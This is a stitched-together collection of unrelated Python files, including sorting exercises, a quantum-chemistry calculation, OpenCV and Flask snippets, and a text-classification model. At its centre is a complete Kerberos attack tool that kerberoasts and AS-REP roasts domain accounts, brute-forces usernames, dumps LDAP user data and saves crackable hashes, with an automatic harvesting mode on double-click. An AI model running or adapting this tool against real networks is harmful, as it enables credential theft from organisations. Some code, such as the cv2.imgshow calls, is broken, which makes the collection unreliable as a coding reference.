# Write a function to compute 5/0 and use try/except to catch the exceptions

def div_n(n):
    try:
       k = n/0
    except ZeroDivisionError:
        print("can't divide by zero")
    finally:
        print("This is finally executed")
div_n(5)


def partition(A,l,r):
	pivot = A[l]
	i = l + 1
	for j in range(l+1, r+1):
		if A[j] < pivot:
			A[i],A[j] = A[j],A[i]
			i += 1
	A[l],A[i-1] = A[i-1], A[l]
	return i-1

def quicksort(A, n):
	if n < 2:
		return A, 0
	else:
		pivot = partition(A,0,n-1)
		A[:pivot],left_c = quicksort(A[:pivot], len(A[:pivot]))
		A[pivot+1:], right_c = quicksort(A[pivot+1:], len(A[pivot+1:]))
		return A, left_c + right_c + n-1


import asyncio
import ntpath
import logging
import os
import csv
import platform
import sys
import datetime

from msldap.ldap_objects.aduser import MSADUser_TSV_ATTRS
from msldap.commons.factory import LDAPConnectionFactory
from msldap import logger as msldaplogger

from minikerberos import logger as kerblogger
from minikerberos.security import asreproast, kerberoast, krb5userenum
from minikerberos.common.factory import KerberosClientFactory, kerberos_url_help_epilog
from minikerberos.common.spn import KerberosSPN
from minikerberos.common.creds import KerberosCredential
from minikerberos.common.target import KerberosTarget
from minikerberos.common.utils import TGSTicket2hashcat

kerberoast_epilog = """==== Extra Help ====
Dump all users from LDAP in a TSV file:
   - kerberoast ldap full 'ldap://TEST\\victim:Passw0rd!1@10.10.10.2' -o users

List all kerberoastable users:
   - kerberoast ldap spn 'ldap://TEST\\victim:Passw0rd!1@10.10.10.2'

List all asreproastable users users:
   - kerberoast ldap asrep 'ldap://TEST\\victim:Passw0rd!1@10.10.10.2'

Brute-force guss of usernames via kerberos:
	(username_dict.txt is a list of usernames (without domain) one username per line)
   - kerberoast brute TEST.corp 10.10.10.2 username_dict.txt

ASREProast:
   - kerberoast asreproast 10.10.10.2 -u asreptest@TEST

Kerberoast (spnroast):
   - kerberoast spnroast 'kerberos+pw://TEST\\victim:Password@10.10.10.2' -u srv_http@test

Kerberoast using SSPI (spnroast-sspi WINDOWS ONLY!):
   - kerberoast spnroast-sspi -u srv_http@TEST

Auto (WINDOWS ONLY! use SSPI for authentication, grabs target users via ldap, peforms spn and asreproast):
   - kerberoast auto 10.10.10.2

TGT (get a TGT for given user credential and store it in a CCACHE file):
   - kerberoast tgt 'kerberos+pw://TEST\\victim:Password@10.10.10.2' user.ccache

TGS (get a TGS for given SPN and store it in a CCACHE file):
   - kerberoast tgs 'kerberos+pw://TEST\\victim:Password@10.10.10.2' srv_http@test user.ccache

For more information on kerberos and LDAP connection string options please consult the README of minikerberos and msldap respectively
"""
def get_targets_from_file(args, to_spn = True):
	targets = []
	if args.targets:
		with open(args.targets, 'r') as f:
			for line in f:
				line = line.strip()
				domain = None
				username = None
				if line.find('@') != -1:
					#we take for granted that usernames do not have the char @ in them!
					username, domain = line.split('@')
				else:
					username = line

				if args.realm:
					domain = args.realm
				else:
					if domain is None:
						raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file')

				if to_spn is True:
					target = KerberosSPN()
					target.username = username
					target.domain = domain
				else:
					target = KerberosCredential()
					target.username = username
					target.domain = domain
				targets.append(target)
	return targets

def get_target_from_args(args, to_spn = True):
	targets = []
	if args.user:
		for user in args.user:
			domain = None
			username = None
			if user.find('@') != -1:
				#we take for granted that usernames do not have the char / in them!
				username, domain = user.split('@')
			else:
				username = user

			if args.realm:
				domain = args.realm
			else:
				if domain is None:
					raise Exception('Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file')
			if to_spn is True:
				target = KerberosSPN()
				target.username = username
				target.domain = domain
			else:
				target = KerberosCredential()
				target.username = username
				target.domain = domain
			targets.append(target)
	return targets

async def run_auto():
	try:
		if platform.system() != 'Windows':
			print('[-]This command only works on Windows!')
			return
		try:
			from winsspi.sspi import KerberoastSSPI
		except ImportError:
			raise Exception('winsspi module not installed!')

		from winacl.functions.highlevel import get_logon_info

		logon = get_logon_info()
		domain = logon['domain']
		url = 'ldap+sspi-ntlm://%s' % logon['logonserver']
		msldap_url = LDAPConnectionFactory.from_url(url)
		client = msldap_url.get_client()
		_, err = await client.connect()
		if err is not None:
			raise err

		domain = client._ldapinfo.distinguishedName.replace('DC=','').replace(',','.')
		spn_users = []
		asrep_users = []
		errors = []
		results = []
		spn_cnt = 0
		asrep_cnt = 0
		async for user, err in client.get_all_knoreq_users():
			if err is not None:
				raise err
			cred = KerberosCredential()
			cred.username = user.sAMAccountName
			cred.domain = domain

			asrep_users.append(cred)
		async for user, err in client.get_all_service_users():
			if err is not None:
				raise err
			cred = KerberosCredential()
			cred.username = user.sAMAccountName
			cred.domain = domain

			spn_users.append(cred)

		asrepusernames = [x.username for x in asrep_users]
		asrepdomain = asrep_users[0].domain
		async for username, h, err in asreproast(KerberosTarget(domain), asrepdomain, asrepusernames, override_etype = [23]):
			if err is not None:
				errors.append((username,err))
			else:
				asrep_cnt += 1
				results.append(str(h))

		filename = 'asreproast_%s_%s.txt' % (logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
		with open(filename, 'w', newline = '') as f:
				for thash in results:
					asrep_cnt += 1
					f.write(thash + '\r\n')

		results = []
		for cred in spn_users:
			try:
				spn_name = '%s@%s' % (cred.username, cred.domain)
				if spn_name[:6] == 'krbtgt':
					continue
				ksspi = KerberoastSSPI()
				try:
					ticket = ksspi.get_ticket_for_spn(spn_name)
				except Exception as e:
					errors.append((spn_name, e))
					continue
				results.append(TGSTicket2hashcat(ticket))
			except Exception as e:
				print("spnroast-sspi for user %s failed. Reason: %s" % (cred, e))

		filename = 'spnroast_%s_%s.txt' % (logon['domain'], datetime.datetime.utcnow().strftime("%Y%m%d_%H%M%S"))
		with open(filename, 'w', newline = '') as f:
			for thash in results:
				spn_cnt += 1
				f.write(thash + '\r\n')

		for err in errors:
			print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

		print('[+] Done! %s spnroast tickets %s asreproast tickets' % (spn_cnt, asrep_cnt))
	except Exception as e:
		print(e)

async def amain(args):
	if args.command == 'tgs':
		logging.debug('[TGS] started')
		ku = KerberosClientFactory.from_url(args.kerberos_url)
		spn = KerberosSPN.from_upn(args.spn)

		logging.debug('[TGS] target user: %s' % spn.get_formatted_pname())
		logging.debug('[TGS] fetching TGT')
		kcomm = ku.get_client()
		await kcomm.get_TGT()
		logging.debug('[TGS] fetching TGS')
		await kcomm.get_TGS(spn)

		kcomm.ccache.to_file(args.out_file)
		logging.debug('[TGS] done!')

	elif args.command == 'tgt':
		logging.debug('[TGT] started')
		ku = KerberosClientFactory.from_url(args.kerberos_url)
		cred = ku.get_creds()
		target = ku.get_target()

		logging.debug('[TGT] cred: %s' % cred)
		logging.debug('[TGT] target: %s' % target)

		kcomm = ku.get_client()
		logging.debug('[TGT] fetching TGT')
		await kcomm.get_TGT()

		kcomm.ccache.to_file(args.out_file)
		logging.debug('[TGT] Done! TGT stored in CCACHE file')

	elif args.command == 'asreproast':
		if not args.targets and not args.user:
			raise Exception('No targets loaded! Either -u or -t MUST be specified!')
		targets = get_targets_from_file(args, False)
		targets += get_target_from_args(args, False)
		if len(targets) == 0:
			raise Exception('No targets were specified! Either use target file or specify target via cmdline')

		usernames = [x.username for x in targets]
		domain = targets[0].domain

		logging.debug('[ASREPRoast] loaded %d targets' % len(targets))
		logging.debug('[ASREPRoast] will suppoort the following encryption type: %s' % (str(args.etype)))

		ks = KerberosTarget(args.address)
		hashes = []
		async for _, h, err in asreproast(ks, usernames, domain, args.etype):
			if h is not None:
				hashes.append(str(h))

		if args.out_file:
			with open(args.out_file, 'w', newline = '') as f:
				for thash in hashes:
					f.write(thash + '\r\n')

		else:
			for thash in hashes:
				print(thash)

		logging.info('ASREPRoast complete')

	elif args.command == 'spnroast':
		if not args.targets and not args.user:
			raise Exception('No targets loaded! Either -u or -t MUST be specified!')

		targets = get_targets_from_file(args)
		targets += get_target_from_args(args)
		if len(targets) == 0:
			raise Exception('No targets were specified! Either use target file or specify target via cmdline')

		logging.debug('Kerberoast loaded %d targets' % len(targets))

		if args.etype:
			if args.etype == -1:
				etypes = [23, 17, 18]
			else:
				etypes = [args.etype]
		else:
			etypes = [23, 17, 18]

		logging.debug('Kerberoast will suppoort the following encryption type(s): %s' % (','.join(str(x) for x in etypes)))

		ktargets = [x.username for x in targets]
		kdomain = targets[0].domain
		ku = KerberosClientFactory.from_url(args.kerberos_url)
		hashes = []
		async for username,h, err in kerberoast(ku, ktargets, kdomain, etypes):
			hashes.append(h)

		if args.out_file:
			with open(args.out_file, 'w', newline = '') as f:
				for thash in hashes:
					f.write(thash + '\r\n')

		else:
			for thash in hashes:
				print(thash)

		logging.info('Kerberoast complete')

	elif args.command == 'brute':
		target = KerberosTarget(args.address)
		enumusers = []
		targets = get_targets_from_file(args, False)
		targets += get_target_from_args(args, False)

		enumusers = [x.username for x in targets]

		async for username, result, _, err in krb5userenum(target, enumusers, args.realm):
			if err is not None:
				continue
			if result is True:
				if args.out_file:
					with open(args.out_file, 'a') as f:
						f.write(username + '\r\n')
				else:
					print('[+] Enumerated user: %s' % str(username))

		logging.info('Kerberos user enumeration complete')

	elif args.command == 'spnroast-sspi':
		if platform.system() != 'Windows':
			print('[-]This command only works on Windows!')
			return
		try:
			from winsspi.sspi import KerberoastSSPI
		except ImportError:
			raise Exception('winsspi module not installed!')

		if not args.targets and not args.user:
			raise Exception('No targets loaded! Either -u or -t MUST be specified!')

		targets = get_targets_from_file(args)
		targets += get_target_from_args(args)
		if len(targets) == 0:
			raise Exception('No targets were specified! Either use target file or specify target via cmdline')

		results = []
		errors = []
		for spn_name in targets:
			ksspi = KerberoastSSPI()
			try:
				ticket = ksspi.get_ticket_for_spn(spn_name.get_formatted_pname())
			except Exception as e:
				errors.append((spn_name, e))
				continue
			results.append(TGSTicket2hashcat(ticket))

		if args.out_file:
			with open(args.out_file, 'w', newline = '') as f:
				for thash in results:
					f.write(thash + '\r\n')

		else:
			for thash in results:
				print(thash)

		for err in errors:
			print('Failed to get ticket for %s. Reason: %s' % (err[0], err[1]))

		logging.info('SSPI based Kerberoast complete')

	elif args.command == 'auto':
		await run_auto()

	elif args.command == 'ldap':
		ldap_url = LDAPConnectionFactory.from_url(args.ldap_url)
		client = ldap_url.get_client()
		_, err = await client.connect()
		if err is not None:
			raise err

		domain = client._ldapinfo.distinguishedName.replace('DC=','').replace(',','.')

		if args.out_file:
			basefolder = ntpath.dirname(args.out_file)
			basefile = ntpath.basename(args.out_file)

		if args.type in ['spn','all']:
			print('Enumerating SPN user accounts...')
			cnt = 0
			if args.out_file:
				with open(os.path.join(basefolder,basefile+'_spn_users.txt'), 'w', newline='') as f:
					async for user, err in client.get_all_service_users():
						cnt += 1
						f.write('%s@%s\r\n' % (user.sAMAccountName, domain))

			else:
				print('[+] SPN users')
				async for user, err in client.get_all_service_users():
					if err is not None:
						raise err
					cnt += 1
					print('%s@%s' % (user.sAMAccountName, domain))

			print('Enumerated %d SPN user accounts' % cnt)

		if args.type in ['asrep','all']:
			logging.debug('Enumerating ASREP user accounts...')
			ctr = 0
			if args.out_file:
				with open(os.path.join(basefolder,basefile+'_asrep_users.txt'), 'w', newline='') as f:
					async for user, err in client.get_all_knoreq_users():
						if err is not None:
							raise err
						ctr += 1
						f.write('%s@%s\r\n' % (user.sAMAccountName, domain))
			else:
				print('[+] ASREP users')
				async for user, err in client.get_all_knoreq_users():
					if err is not None:
						raise err
					ctr += 1
					print('%s@%s' % (user.sAMAccountName, domain))

			logging.debug('Enumerated %d ASREP user accounts' % ctr)

		if args.type in ['full', 'all']:
			logging.debug('Enumerating ALL user accounts, this will take some time depending on the size of the domain')
			ctr = 0
			attrs = args.attrs if args.attrs is not None else MSADUser_TSV_ATTRS
			if args.out_file:
				with open(os.path.join(basefolder,basefile+'_ldap_users.tsv'), 'w', newline='', encoding ='utf8') as f:
					writer = csv.writer(f, delimiter = '\t')
					writer.writerow(attrs)
					async for user, err in client.get_all_users():
						if err is not None:
							raise err
						ctr += 1
						writer.writerow(user.get_row(attrs))

			else:
				logging.debug('Are you sure about this?')
				print('[+] Full user dump')
				print('\t'.join(attrs))
				async for user, err in client.get_all_users():
					if err is not None:
						raise err
					ctr += 1
					print('\t'.join([str(x) for x in user.get_row(attrs)]))

			logging.debug('Enumerated %d user accounts' % ctr)

		if args.type in ['custom']:
			if not args.filter:
				raise Exception('Custom LDAP search requires the search filter to be specified!')
			if not args.attrs:
				raise Exception('Custom LDAP search requires the attributes to be specified!')

			logging.debug('Perforing search on the AD with the following filter: %s' % args.filter)
			logging.debug('Search will contain the following attributes: %s' % ','.join(args.attrs))
			ctr = 0

			if args.out_file:
				with open(os.path.join(basefolder,basefile+'_ldap_custom.tsv'), 'w', newline='') as f:
					writer = csv.writer(f, delimiter = '\t')
					writer.writerow(args.attrs)
					async for obj, err in client.pagedsearch(args.filter, args.attrs):
						if err is not None:
							raise err
						ctr += 1
						writer.writerow([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs])

			else:
				async for obj, err in client.pagedsearch(args.filter, args.attrs):
					if err is not None:
						raise err
					ctr += 1
					print('\t'.join([str(obj['attributes'].get(x, 'N/A')) for x in args.attrs]))

def main():
	if platform.system().upper() == 'WINDOWS' and len(sys.argv) == 1:
		#auto start on double click with default settings
		asyncio.run(run_auto())
		return

	import argparse

	parser = argparse.ArgumentParser(description='Tool to perform verious kerberos security tests', formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberoast_epilog)
	parser.add_argument('-v', '--verbose', action='count', default=0, help='Increase verbosity, can be stacked')

	subparsers = parser.add_subparsers(help = 'commands')
	subparsers.required = True
	subparsers.dest = 'command'

	ldap_group = subparsers.add_parser('ldap', formatter_class=argparse.RawDescriptionHelpFormatter, help='Enumerate potentially vulnerable users via LDAP', epilog = LDAPConnectionFactory.help_epilog)
	ldap_group.add_argument('type', choices=['spn', 'asrep', 'full','custom', 'all'], help='type of vulnerable users to enumerate')
	ldap_group.add_argument('ldap_url',  help='LDAP connection URL')
	ldap_group.add_argument('-o','--out-file',  help='Output file base name, if omitted will print results to STDOUT')
	ldap_group.add_argument('-f','--filter',  help='CUSTOM mode only. LDAP search filter')
	ldap_group.add_argument('-a','--attrs', action='append', help='FULL and CUSTOM mode only. LDAP attributes to display')

	brute_group = subparsers.add_parser('brute', help='Enumerate users via brute-forcing kerberos service')
	brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>')
	brute_group.add_argument('address', help='Address of the DC')
	brute_group.add_argument('targets', help='File with a list of usernames to enumerate, one user per line')
	brute_group.add_argument('-o','--out-file',  help='Output file base name, if omitted will print results to STDOUT')

	asreproast_group = subparsers.add_parser('asreproast', help='Perform asrep roasting')
	asreproast_group.add_argument('address', help='Address of the DC')
	asreproast_group.add_argument('-t','--targets', help='File with a list of usernames to roast, one user per line')
	asreproast_group.add_argument('-r','--realm', help='Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any')
	asreproast_group.add_argument('-o','--out-file',  help='Output file base name, if omitted will print results to STDOUT')
	asreproast_group.add_argument('-u','--user',  action='append', help='Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.')
	asreproast_group.add_argument('-e','--etype', default=23, const=23, nargs='?', choices= [23, 17, 18], type=int, help = 'Set preferred encryption type')

	spnroast_group = subparsers.add_parser('spnroast', help='Perform spn roasting (aka kerberoasting)',formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog)
	spnroast_group.add_argument('kerberos_url', help='Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>')
	spnroast_group.add_argument('-t','--targets', help='File with a list of usernames to roast, one user per line')
	spnroast_group.add_argument('-u','--user',  action='append', help='Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.')
	spnroast_group.add_argument('-o','--out-file',  help='Output file base name, if omitted will print results to STDOUT')
	spnroast_group.add_argument('-r','--realm', help='Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any')
	spnroast_group.add_argument('-e','--etype', default=-1, const=-1, nargs='?', choices= [23, 17, 18, -1], type=int, help = 'Set preferred encryption type. -1 for all')

	spnroastsspi_group = subparsers.add_parser('spnroast-sspi', help='Perform spn roasting (aka kerberoasting)')
	spnroastsspi_group.add_argument('-t','--targets', help='File with a list of usernames to roast, one user per line')
	spnroastsspi_group.add_argument('-u','--user',  action='append', help='Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.')
	spnroastsspi_group.add_argument('-o','--out-file',  help='Output file base name, if omitted will print results to STDOUT')
	spnroastsspi_group.add_argument('-r','--realm', help='Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any')

	tgt_group = subparsers.add_parser('tgt', help='Fetches a TGT for the given user credential',formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog)
	tgt_group.add_argument('kerberos_url', help='Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>')
	tgt_group.add_argument('out_file',  help='Output CCACHE file')

	tgs_group = subparsers.add_parser('tgs', help='Fetches a TGT for the given user credential',formatter_class=argparse.RawDescriptionHelpFormatter, epilog = kerberos_url_help_epilog)
	tgs_group.add_argument('kerberos_url', help='Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>')
	tgs_group.add_argument('spn',  help='SPN strong of the service to get TGS for. Expected format: <domain>/<hostname>')
	tgs_group.add_argument('out_file',  help='Output CCACHE file')

	auto_group = subparsers.add_parser('auto', help='Just get the tickets already. Only works on windows under any domain-user context')
	auto_group.add_argument('dc_ip', help='Target domain controller')
	auto_group.add_argument('-o','--out-file',  help='Output file base name, if omitted will print results to STDOUT')
	auto_group.add_argument('-e','--etype', default=23, const=23, nargs='?', choices= [23, 17, 18], type=int, help = 'Set preferred encryption type')

	args = parser.parse_args()

	if args.verbose == 0:
		logging.basicConfig(level=logging.INFO)
		kerblogger.setLevel(logging.WARNING)
		msldaplogger.setLevel(logging.WARNING)

	elif args.verbose == 1:
		logging.basicConfig(level=logging.DEBUG)
		kerblogger.setLevel(logging.INFO)
		msldaplogger.setLevel(logging.INFO)

	else:
		logging.basicConfig(level=1)
		kerblogger.setLevel(logging.DEBUG)
		msldaplogger.setLevel(logging.DEBUG)

	asyncio.run(amain(args))

if __name__ == '__main__':
	main()


import numpy as np
import matplotlib.pyplot as plt
from numpy import linalg as LA

PI = np.pi
alphaList = [13.00773, 1.962079, 0.444529, 0.1219492]
# alphaList = [3.42525091, 0.62391373, 0.16885540]
NN = len(alphaList)

def sIntFunc(p, q):
    alphaP = alphaList[p]
    alphaQ = alphaList[q]
    spq = PI/(alphaP+alphaQ)
    spq = spq**1.5
    return spq

def tIntFunc(p, q):
    alphaP = alphaList[p]
    alphaQ = alphaList[q]
    tpq = 3*alphaP*alphaQ/(alphaP+alphaQ)**2.5
    tpq = tpq*PI**1.5
    return tpq

def aIntFunc(p, q, Z = 1):
    alphaP = alphaList[p]
    alphaQ = alphaList[q]
    apq = -Z*2*PI/(alphaP+alphaQ)
    return apq

def makeMat(intFunc):
    mat = np.zeros([NN,NN])
    for p in range(NN):
        for q in range(NN):
            mat[p,q] = intFunc(p,q)
    return mat

def transMat(mat):
    eigenVal, uniMat = LA.eig(mat)
    invSqRtEigenVal = eigenVal**0.5
    invSqRtEigenVal = 1/invSqRtEigenVal
    eigenInvSqRt = np.diagflat(invSqRtEigenVal)
    vMat = np.dot(uniMat, eigenInvSqRt)

    return vMat

def eigenE():
    aMat = makeMat(aIntFunc)
    tMat = makeMat(tIntFunc)
    sMat = makeMat(sIntFunc)
    hamilton = aMat + tMat
    transM = transMat(sMat)
    hamiltonPrime = np.dot(transM.T, hamilton)
    hamiltonPrime = np.dot(hamiltonPrime, transM)
    #print(hamiltonPrime)
    eigen = LA.eigvals(hamiltonPrime)
    eigen = np.sort(eigen)
    return eigen[0]

print(eigenE())


import cv2
import numpy as np

img = cv2.imread("Resources/test.png")
imgGray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)
imgBlur = cv2.GaussianBlur(imgGray,(7,7),5)
imgCanny = cv2.Canny(imgBlur, 150, 200)
kernel = np.ones((5,5),np.uint8)
imgDia = cv2.dilate(imgCanny,kernel,iterations=1)
imgErode = cv2.erode(imgDia,kernel,iterations=1)

cv2.imshow("image",img)
cv2.imshow("image Gray",imgGray)
cv2.imshow("image Blur",imgBlur)
cv2.imgshow("image Canny",imgCanny)
cv2.imgshow("image Dia",imgDia)
cv2.imgshow("image Erode",imgErode)

cv2.waitKey(0)


from flask import Blueprint, request,jsonify
from handler.organizations import OrganizationsHandler
organizations = Blueprint('organizations', __name__)

@organizations.route('/', methods=['GET', 'POST'])
def getAllOrganizations():
    if request.method == 'POST':
      return jsonify(Message="Organization created."), 200
    else:
        if not request.args:
            return OrganizationsHandler().getAllOrganizations()
        else:
            return OrganizationsHandler().searchOrganizations(request.args)

@organizations.route('/<int:organization_id>', methods=['GET', 'PUT', 'DELETE'])
def getOrganizationById(organization_id):
    if request.method == 'GET':
        return OrganizationsHandler().getOrganizationById(organization_id)
    elif request.method == 'PUT':
        #OrganizationsHandler().updateOrganization(organization_id,request.form)
        return jsonify(Message="Organization update successful"), 200
    elif request.method == 'DELETE':
        #OrganizationsHandler().deleteOrganization(organization_id)
        return jsonify(Message="Organization delete successful"), 200
    else:
        return jsonify(Error="Method not allowed."), 405


from tensorflow.keras.callbacks import EarlyStopping
from tensorflow.keras.datasets import imdb
from tensorflow.keras.preprocessing import sequence
from tensorflow.keras.utils import to_categorical
from tensorflow.keras.preprocessing.sequence import pad_sequences
from tensorflow.keras.preprocessing.text import Tokenizer, text_to_word_sequence
import numpy as np
import nltk
from nltk import tokenize
from attention import Attention

MAX_SEQUENCE_LENGTH = 100
MAX_SENTS = 40
max_features = 70000
maxlen = 100
batch_size = 32
EMBEDDING_DIM = 300
epochs = 10

def load_data():
    print("Loading data...")
    labels = []
    titles = []
    abstracts = []
    texts = []
    category_map = {}
    with open('../../data/MINDsmall_train/news.tsv', 'r') as f:
        for l in f:
            _, category, _, title, abstract, _, _ = l.strip('\n').split('\t')
            if category not in category_map:
                category_map[category] = len(category_map)
            labels.append(category_map[category])
            title = title.lower()
            abstract = abstract.lower()
            titles.append(title)
            abstracts.append(abstract)
            texts.append(title + "." + abstract)
    print('Found %s categories.' % len(category_map))
    return labels, titles, abstracts, texts, category_map

def preprocess(labels, titles, abstracts, texts):
    news = []
    labels = to_categorical(np.asarray(labels))
    for i in texts:
        sentences = tokenize.sent_tokenize(i)
        news.append(sentences)
    tokenizer = Tokenizer()
    tokenizer.fit_on_texts(texts)
    data = np.zeros((len(texts), MAX_SENTS, MAX_SEQUENCE_LENGTH), dtype='int32')
    for i, sentences in enumerate(news):
        for j, sent in enumerate(sentences):
            if j< MAX_SENTS:
                wordTokens = text_to_word_sequence(sent)
                k=0
                for _, word in enumerate(wordTokens):
                    if k < MAX_SEQUENCE_LENGTH and tokenizer.word_index[word] < max_features:
                        data[i,j,k] = tokenizer.word_index[word]
                        k=k+1
    word_index = tokenizer.word_index
    print('Found %s unique tokens.' % len(word_index))
    print('Shape of data tensor:', data.shape)
    print('Shape of label tensor:', labels.shape)
    return word_index, data, labels

labels, titles, abstracts, texts, category_map= load_data()
word_index, data, labels = preprocess(labels, titles, abstracts, texts)
news_num = len(texts)
train_num = int(0.8 * news_num)
import random
random.seed(212)
random.shuffle(data)
random.seed(212)
random.shuffle(labels)
x_train = data[:train_num]
y_train = labels[:train_num]
x_val = data[train_num:]
y_val = labels[train_num:]
print('Shape of x_train:', x_train.shape)
print('Shape of y_train:', y_train.shape)

VECTOR_DIR = '../..//GoogleNews-vectors-negative300.bin'
print ('load word2vec as embedding...')
import gensim
from tensorflow.keras.utils import plot_model
w2v_model = gensim.models.KeyedVectors.load_word2vec_format(VECTOR_DIR, binary=True)
embedding_matrix = np.zeros((len(word_index) + 1, EMBEDDING_DIM))
not_in_model = 0
in_model = 0
for word, i in word_index.items():
    if word in w2v_model:
        in_model += 1
        embedding_matrix[i] = np.asarray(w2v_model[word], dtype='float32')
    else:
        not_in_model += 1
print(str(in_model) + ' in w2v model')
print(str(not_in_model)+' words not in w2v model')

from tensorflow.keras.layers import Embedding
embedding_layer = Embedding(len(word_index) + 1,
                            EMBEDDING_DIM,
                            weights=[embedding_matrix],
                            input_length=MAX_SEQUENCE_LENGTH,
                            trainable=True)
from tensorflow.keras.layers import Dense, Input, Flatten
from tensorflow.keras.layers import Conv1D, MaxPooling1D, Embedding, Dropout, LSTM, GRU, Bidirectional, TimeDistributed
from tensorflow.keras.models import Model

sentence_input = Input(shape=(MAX_SEQUENCE_LENGTH,), dtype='int32')
embedded_sequences = embedding_layer(sentence_input)
l_lstm = Bidirectional(GRU(100, return_sequences=True))(embedded_sequences)
l_att = Attention(100)(l_lstm)
sentEncoder = Model(sentence_input, l_att)

news_input = Input(shape=(MAX_SENTS, MAX_SEQUENCE_LENGTH), dtype='int32')
news_encoder = TimeDistributed(sentEncoder)(news_input)
l_lstm_sent = Bidirectional(GRU(100, return_sequences=True))(news_encoder)
l_att_sent = Attention(100)(l_lstm_sent)
preds = Dense(labels.shape[1], activation='softmax')(l_att_sent)
model = Model(news_input, preds)

model.compile(loss='categorical_crossentropy',
              optimizer='rmsprop',
              metrics=['acc'])

print("model fitting - Hierachical attention network")
model.fit(x_train, y_train, validation_data=(x_val, y_val),
          epochs=10, batch_size=50)


nums = [13, 9, 1, 3, 5]

for i in range(1, len(nums)):
    tmp = nums[i]
    j = i - 1
    while j > -1 and nums[j] > tmp:
        nums[j+1] = nums[j]
        j = j - 1

    nums[j+1] = tmp

print(nums)


"""Shared plotting functions
"""
import json
import os

from math import log10, floor

from boltons.iterutils import pairwise
from geopy.distance import vincenty
from osgeo import gdal
from matplotlib.colors import LogNorm, ListedColormap, BoundaryNorm
from matplotlib.image import BboxImage
from matplotlib.legend_handler import HandlerBase
from matplotlib.transforms import Bbox, TransformedBbox

import cartopy.crs as ccrs
import cartopy.io.shapereader as shpreader
import matplotlib.patches as mpatches
import matplotlib.pyplot as plt

def load_config():
    """Read config.json
    """
    config_path = os.path.join(os.path.dirname(__file__), '..', 'config.json')
    with open(config_path, 'r') as config_fh:
        config = json.load(config_fh)
    return config

def get_data(filename):
    """Read in data (as array) and extent of each raster
    """
    gdal.UseExceptions()
    ds = gdal.Open(filename)
    data = ds.ReadAsArray()
    data[data < 0] = 0

    gt = ds.GetGeoTransform()

    # get the edge coordinates
    width = ds.RasterXSize
    height = ds.RasterYSize
    xres = gt[1]
    yres = gt[5]

    xmin = gt[0]
    xmax = gt[0] + (xres * width)
    ymin = gt[3] + (yres * height)
    ymax = gt[3]

    lat_lon_extent = (xmin, xmax, ymax, ymin)

    return data, lat_lon_extent

def get_tz_axes():
    """Setup plot figure and return Tanzania axes
    """
    plt.figure(figsize=(7, 7), dpi=300)
    proj_lat_lon = ccrs.PlateCarree()
    ax = plt.axes([0.025, 0.025, 0.95, 0.93], projection=proj_lat_lon)
    x0 = 28.6
    x1 = 41.4
    y0 = 0.5
    y1 = -12.5
    ax.set_extent([x0, x1, y0, y1], crs=proj_lat_lon)
    set_ax_bg(ax)
    return ax

def hazard_legend(im, ax):
    # Add colorbar
    cbar = plt.colorbar(
        im, ax=ax, fraction=0.05, pad=0.04, drawedges=False,
        shrink=0.9, orientation='horizontal',
        ticks=[0.5, 1, 1.5, 2, 998],
        boundaries=[0.01,0.5,1,1.5,2,998]
    )
    cbar.ax.set_xticklabels(["0.5", "1.0", "1.5", "2.0", ">2.0"])
    cbar.outline.set_color("none")
    cbar.ax.set_xlabel('Flood depth (m)')

def get_hazard_cmap_norm():
    cmap = ListedColormap(['none', '#d8efff', '#bfe4ff', '#93d4ff', '#2d8ccb', '#00519e'])
    norm = BoundaryNorm([0, 0.01, 0.5, 1, 1.5, 2, 998], cmap.N)
    return cmap, norm

def set_ax_bg(ax):
    ax.background_patch.set_facecolor('#c6e0ff')

def save_fig(output_filename):
    plt.savefig(output_filename)
    plt.savefig(output_filename.replace("png", "svg"))

def plot_basemap(ax, data_path):
    """Plot countries and regions background
    """
    proj = ccrs.PlateCarree()

    states_filename = os.path.join(
        data_path,
        'Infrastructure',
        'Boundaries',
        'ne_10m_admin_0_countries_lakes.shp'
    )

    states_over_lakes_filename = os.path.join(
        data_path,
        'Infrastructure',
        'Boundaries',
        'ne_10m_admin_0_countries.shp'
    )

    provinces_filename = os.path.join(
        data_path,
        'Infrastructure',
        'Boundaries',
        'ne_10m_admin_1_states_provinces_lakes.shp'
    )

    lakes_filename = os.path.join(
        data_path,
        'Infrastructure',
        'Boundaries',
        'ne_10m_lakes.shp'
    )

    # Neighbours
    for record in shpreader.Reader(states_filename).records():
        country_code = record.attributes['ISO_A2']
        if country_code in ('BI', 'RW', 'CD', 'UG', 'KE', 'ZM', 'MW', 'MZ', 'SO'):
            geom = record.geometry
            ax.add_geometries(
                [geom],
                crs=proj,
                edgecolor='white',
                facecolor='#e0e0e0',
                zorder=1)

    # Regions
    for record in shpreader.Reader(provinces_filename).records():
        country_code = record.attributes['iso_a2']
        if country_code == 'TZ':
            geom = record.geometry
            ax.add_geometries([geom], crs=proj, edgecolor='#ffffff', facecolor='#d2d2d2')

    # Lakes
    for record in shpreader.Reader(lakes_filename).records():
        name = record.attributes['name']
        geom = record.geometry

        if name in (
                'Lake Victoria',
                'Lake Tanganyika',
                'Lake Malawi',
                'Lake Kivu',
                'Lake Edward',
                'Lake Rukwa',
                'Lake Bunyoni',
                'Lake Natron',
                'Lake Manyara',
                'Lake Lembeni',
